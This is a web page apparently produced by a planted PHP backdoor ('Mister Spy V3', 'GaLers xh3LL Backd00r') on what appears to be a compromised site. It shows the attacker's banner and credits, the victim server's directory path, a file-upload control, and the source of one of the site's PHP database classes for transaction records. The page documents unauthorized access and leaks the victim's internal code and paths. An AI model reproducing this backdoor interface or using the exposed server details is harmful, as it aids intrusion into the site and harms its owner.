Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.transacciondetalles.php

<?php
require_once('class.dbaccess.php');
require_once('class.transacciondetalle.php');
require_once('class.usuario.php');
require_once('class.transaccionestados.php');
require_once('class.filter.php');

class TransaccionDetalles extends DBAccess
{
	public function GetById($IdTransaccion, $IdProducto)
	{   
		$FechaActual = date('Y-m-d H:i:s');
		
		$sql = "SELECT cd.*";
		$sql.= " FROM tblTransaccionDetalles cd";
		$sql.= " WHERE cd.IdTransaccion = ".DB::Number($IdTransaccion);
		$sql.= " AND cd.IdProducto = ".DB::Number($IdProducto);

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oTransaccionDetalle = new TransaccionDetalle();
		$oTransaccionDetalle->ParseFromArray($oRow);
		
		return $oTransaccionDetalle;			
	}
	
	
	public function GetAll(array $filter = NULL)
	{   
		$sql = "SELECT cd.*";
		$sql.= " FROM tblTransaccionDetalles cd";
		$sql.= " ORDER BY cd.IdTransaccion, cd.IdProducto DESC";
			
		if ( !($oRes = 	$this->GetQuery($sql)) )
			return false;
						
		$arr = array();
	
		while ($oRow = $oRes->GetRow())	
		{	
			$oTransaccionDetalle = new TransaccionDetalle();
						
			$oTransaccionDetalle->ParseFromArray($oRow);
			array_push($arr, $oTransaccionDetalle);
			
			$oRes->MoveNext();
		}	
		
		return $arr;			
	}
	
	
	public function GetAllByTransaccion(Transaccion $oTransaccion)
	{
		$sql = "SELECT cd.*";
		$sql.= " FROM tblTransaccionDetalles cd";
		$sql.= " WHERE cd.IdTransaccion = " . DB::Number($oTransaccion->IdTransaccion);
		$sql.= " ORDER BY cd.IdTransaccion ASC";

		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		$arr = array();
	
		while ($oRow = $oRes->GetRow())	
		{	
			$oTransaccionDetalle = new TransaccionDetalle();
						
			$oTransaccionDetalle->ParseFromArray($oRow);
			array_push($arr, $oTransaccionDetalle);
			
			$oRes->MoveNext();
		}	
		
		return $arr;			
	}


	public function Create(TransaccionDetalle $oTransaccionDetalle)
	{	
		$arr = array
		(
			'IdTransaccion'		=> DB::Number($oTransaccionDetalle->IdTransaccion),
			'IdProducto' 		=> DB::Number($oTransaccionDetalle->IdProducto),
			'Fecha' 			=> DB::Date($oTransaccionDetalle->Fecha),
			'Cantidad' 			=> DB::Number($oTransaccionDetalle->Cantidad),
			'PrecioUnitario' 	=> DB::Number($oTransaccionDetalle->PrecioUnitario),
			'IdColor' 			=> DB::Number($oTransaccionDetalle->IdColor),
			'IdTalle'		 	=> DB::Number($oTransaccionDetalle->IdTalle)
		);
		
		if ( !$this->Insert('tblTransaccionDetalles', $arr) )
			return false;
		
		return $oTransaccionDetalle;
	}


	public function Delete($IdTransaccion, $IdProducto)
	{	
		$where = " IdTransaccion = " . (int)$IdTransaccion;
		$where.= " AND IdProducto = " . (int)$IdProducto;

		if ( !DBAccess::DeleteEntidad('tblTransaccionDetalles', $where) )
			return false;
		
		return true;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat